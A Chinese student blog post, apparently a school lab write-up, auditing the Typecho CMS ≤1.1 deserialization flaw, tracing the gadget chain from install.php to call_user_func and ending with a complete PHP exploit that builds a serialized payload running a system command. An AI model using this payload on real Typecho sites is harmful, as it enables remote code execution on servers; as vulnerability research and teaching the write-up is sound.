TypechoCMS 反序列化漏洞

前言

这学期的专业实习周的第七个实验:Typecho CMS反序列化漏洞的代码审计,因为是学校的实验内容,所以难度也会比较低一些

环境搭建

Typecho CMS官方:https://typecho.org/

漏洞影响版本:Typecho ≤ 1.1(15.5.12)

下载链接:Release Typecho 1.1(15.5.12) · typecho/typecho (github.com)

漏洞分析工具:Php Strom 2021.3

使用php版本:7.0.9

漏洞安装也是比较简单的,直接看下安装后的页面:

当然环境搭建这块我们也可以使用Docker进行搭建,但是为了方便Debug(使用Docker也可以进行远程调试),还是搭建在本地比较舒适

漏洞分析

漏洞入口:install.php:230

如下图,Typecho_Cookie::get方法从CookiePOST中获取值,该值可控导致可以构造任意序列化值使其反序列化

在触发反序列化漏洞之前还需要满足几个条件:

  1. 存在finish参数,不然就会exit

  1. 需要存在Referer请求头并与Host相同

需要触发反序列化去看一下__wakeup__desturct方法

function __wakeup不存在

function __destruct如下图,查看代码发现都无法触发任何的魔术方法(此路不通),那就从刚才的代码继续往下看

install.php:232使用了刚刚接收反序列化对象的$config

查看Typecho_Db类的构造方法,在Db.php:120进行了字符串凭借,对应实参$config['adapter'],这里可以触发__toString方法

查看存在__toString方法的类

不难看出Config.php::__toString毫无利用价值

Query.php::__toString里边也都是一些SQL操作,最多也只能触发到__toString,同样无法利用

Feed.php::__toString:290处可以看到可以利用的地方

这里可以触发__get方法很容易可以定位到Request.php::__get

通过这里触发__get之前需要满足的条件:

然后到刚才的__get方法,执行了Request.php::get

在310行调用Request.php::_applyFilter

其中call_user_funcarray_map均为危险函数,可以调用任意函数进行命令执行

EXP

因为链子比较短,直接就写exp了

<?php


class Typecho_Feed
{
    private $_items = array();
    private $_type;
    public function __construct()
    {
        $this->_type = "RSS 2.0";
        $this->_items = [["author"=>new Typecho_Request]];
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct()
    {
        $this->_params = ["screenName"=>"calc"];
        $this->_filter = ["system"];
    }

}

$o = new Typecho_Feed();
$a = ["adapter"=>$o, "prefix"=>"ggbond"];
echo base64_encode(serialize($a));

posted @ 2023-03-07 14:04  seizer-zyx  阅读(444)  评论(1编辑  收藏  举报